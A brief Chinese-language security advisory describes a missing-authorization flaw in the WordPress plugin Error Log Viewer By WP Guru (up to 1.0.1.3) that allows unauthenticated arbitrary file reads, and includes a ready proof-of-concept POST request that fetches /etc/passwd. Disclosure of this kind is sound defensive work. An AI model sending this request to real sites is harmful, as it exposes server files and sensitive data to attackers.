Error Log Viewer By WP Guru <= 1.0.1.3 - 缺少授权导致未认证的任意文件读取
WordPress 的 Error Log Viewer By WP Guru 插件在 1.0.1.3 及之前的所有版本中,通过 wp_ajax_nopriv_elvwp_log_download AJAX 操作存在任意文件读取漏洞。这使得未认证的攻击者能够读取服务器上任意文件的内容,其中可能包含敏感信息。
POST /wp-admin/admin-ajax.php HTTP/2
Host: wp-dev.ddev.site
Content-Type: application/x-www-form-urlencoded
Content-Length: 80
action=elvwp_log_download&elvwp_error_log_download=1&elvwp_error_log=/etc/passwd